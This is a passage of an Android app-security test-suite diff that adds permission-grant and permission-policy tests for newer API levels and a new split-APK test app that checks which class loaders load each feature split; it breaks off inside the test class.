private String installPackage(String apk, boolean replace, boolean instant) throws Exception {
@@ -102,4 +112,8 @@
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
+
+ private void clearAppCookieData() throws Exception {
+ getDevice().executeShellCommand("pm clear " + INSTANT_COOKIE_APP_PKG);
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index cc42e9a..caabeb5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -34,13 +34,22 @@
private static final String APK_22 = "CtsUsePermissionApp22.apk";
private static final String APK_23 = "CtsUsePermissionApp23.apk";
- private static final String APK_24 = "CtsUsePermissionApp24.apk";
+ private static final String APK_25 = "CtsUsePermissionApp25.apk";
+ private static final String APK_26 = "CtsUsePermissionApp26.apk";
+ private static final String APK_Latest = "CtsUsePermissionAppLatest.apk";
+
+ private static final String APK_PERMISSION_POLICY_25 = "CtsPermissionPolicyTest25.apk";
+ private static final String PERMISSION_POLICY_25_PKG = "com.android.cts.permission.policy";
private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
"CtsDeclareNonRuntimePermissions.apk";
private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
"CtsEscalateToRuntimePermissions.apk";
+ private static final String SCREEN_OFF_TIMEOUT_NS = "system";
+ private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
+ private String mScreenTimeoutBeforeTest;
+
private IAbi mAbi;
private CompatibilityBuildHelper mBuildHelper;
@@ -64,14 +73,28 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+
+ // Set screen timeout to 30 min to not timeout while waiting for UI to change
+ mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
+ SCREEN_OFF_TIMEOUT_KEY);
+ getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY, "1800000");
+
+ // Wake up device
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().disableKeyguard();
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
+ getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY,
+ mScreenTimeoutBeforeTest);
+
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
}
public void testFail() throws Exception {
@@ -162,6 +185,24 @@
"testRuntimeGroupGrantExpansion");
}
+ public void testRuntimeGroupGrantExpansion25() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_25), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+ "testRuntimeGroupGrantExpansion");
+ }
+
+ public void testRuntimeGroupGrantExpansion26() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_26), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+ "testRuntimeGroupGrantNoExpansion");
+ }
+
+ public void testRuntimeGroupGrantExpansionLatest() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_Latest), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+ "testRuntimeGroupGrantNoExpansion");
+ }
+
public void testCancelledPermissionRequest23() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
@@ -230,12 +271,6 @@
"testRequestPermissionFromTwoGroups");
}
-// public void testOnlyRequestedPermissionsGranted24() throws Exception {
-// assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_24), false, false));
-// runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest24",
-// "testOnlyRequestedPermissionsGranted");
-// }
-
public void testUpgradeKeepsPermissions() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -304,6 +339,14 @@
"testCannotEscalateNonRuntimePermissionsToRuntime");
}
+ public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions25() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_PERMISSION_POLICY_25), false, false));
+ runDeviceTests(PERMISSION_POLICY_25_PKG,
+ "com.android.cts.permission.policy.PermissionPolicyTest25",
+ "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index 1d4e58f..f697a59 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 606b9ce..2e6911d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsAppAccessData
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# although not strictly necessary, sign this app with different cert than CtsAppWithData
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index 1109280..3d11a83 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsAppWithData
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
new file mode 100644
index 0000000..1adf0f8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitApp
+
+# Tag this module as a cts test artifact
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
new file mode 100644
index 0000000..05f4573
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ android:isolatedSplits="true">
+
+ <application android:label="ClassloaderSplitApp"
+ android:classLoader="dalvik.system.PathClassLoader">
+
+ <activity android:name=".BaseActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".BaseReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.classloadersplitapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
new file mode 100644
index 0000000..2683128
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureA
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS += --custom-package com.android.cts.classloadersplitapp.feature_a
+LOCAL_AAPT_FLAGS += --package-id 0x80
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
new file mode 100644
index 0000000..a334acf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ featureSplit="feature_a">
+
+ <application android:classLoader="dalvik.system.DelegateLastClassLoader">
+ <activity android:name=".feature_a.FeatureAActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".feature_a.FeatureAReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
new file mode 100644
index 0000000..ebb2faf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import com.android.cts.classloadersplitapp.BaseActivity;
+
+public class FeatureAActivity extends BaseActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
new file mode 100644
index 0000000..e27a280
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.BaseReceiver;
+
+public class FeatureAReceiver extends BaseReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("featureA_loaderClassName", loader.getClass().getName());
+ b.putString("featureA_parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
new file mode 100644
index 0000000..a1b43ea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureB
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp CtsClassloaderSplitAppFeatureA
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS := --custom-package com.android.cts.classloadersplitapp.feature_b
+LOCAL_AAPT_FLAGS += --package-id 0x81
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
new file mode 100644
index 0000000..8d9ac52
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ featureSplit="feature_b">
+
+ <uses-split android:name="feature_a" />
+
+ <application>
+ <activity android:name=".feature_b.FeatureBActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".feature_b.FeatureBReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
new file mode 100644
index 0000000..fc46307
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="feature_b_string">Feature B String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
new file mode 100644
index 0000000..421ce55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="feature_b_string">Feature B String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
new file mode 100644
index 0000000..86f5015
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAActivity;
+
+public class FeatureBActivity extends FeatureAActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
new file mode 100644
index 0000000..0a7287d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAReceiver;
+
+public class FeatureBReceiver extends FeatureAReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("featureB_loaderClassName", loader.getClass().getName());
+ b.putString("featureB_parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
new file mode 100644
index 0000000..b727d12
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import android.app.Activity;
+
+public class BaseActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
new file mode 100644
index 0000000..51d883a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BaseReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("loaderClassName", loader.getClass().getName());
+ b.putString("parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
new file mode 100644
index 0000000..54482a8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.junit.Assert.*;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.Locale;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
+ /* The feature hierarchy looks like this:
+
+ APK_BASE (PathClassLoader)
+ ^
+ |
+ APK_FEATURE_A (DelegateLastClassLoader)
+ ^
+ |
+ APK_FEATURE_B (PathClassLoader)
+
+ */
+
+ private static final String PACKAGE = "com.android.cts.classloadersplitapp";
+ private static final ComponentName FEATURE_A_ACTIVITY =
+ ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
+ private static final ComponentName FEATURE_B_ACTIVITY =
+ ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
+
+ @Rule
+ public ActivityTestRule<BaseActivity> mBaseActivityRule =
+ new ActivityTestRule<>(BaseActivity.class);
+
+ // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+ // so we use #launchActivity() with the correct Intent.
+ @Rule
+ public ActivityTestRule<Activity> mFeatureActivityRule =
+ new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+ false /*launchActivity*/);
+
+ @Rule
+ public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
+
+ @Test
+ public void testBaseClassLoader() throws Exception {
